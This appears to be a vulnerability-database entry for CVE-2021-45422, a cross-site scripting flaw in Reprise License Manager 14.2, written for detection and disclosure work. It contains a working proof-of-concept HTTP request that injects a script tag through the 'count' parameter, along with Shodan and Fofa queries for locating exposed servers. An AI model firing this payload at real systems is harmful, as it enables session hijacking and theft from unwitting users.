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CVE-2021-45422: Reprise License Manager 14.2 - Cross-Site Scripting

TitleReprise License Manager 14.2 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.
CVSS Score6.1
EPSS Score0.08607
CVE IDCVE-2021-45422
CWE IDCWE-79
Shodan Queryhttp.html:"Reprise License"http.html:"reprise license"http.html:"reprise license manager"
Fofa Querybody="reprise license manager"body="reprise license"
Tags cve2021 cve reprise xss seclists reprisesoftware vkev vuln

🔍 Vulnerability Description

Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process “count” parameter via GET.

🌐 HTTP Request

GET /goform/activate_process?isv&akey&hostid&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45422.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-45422.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A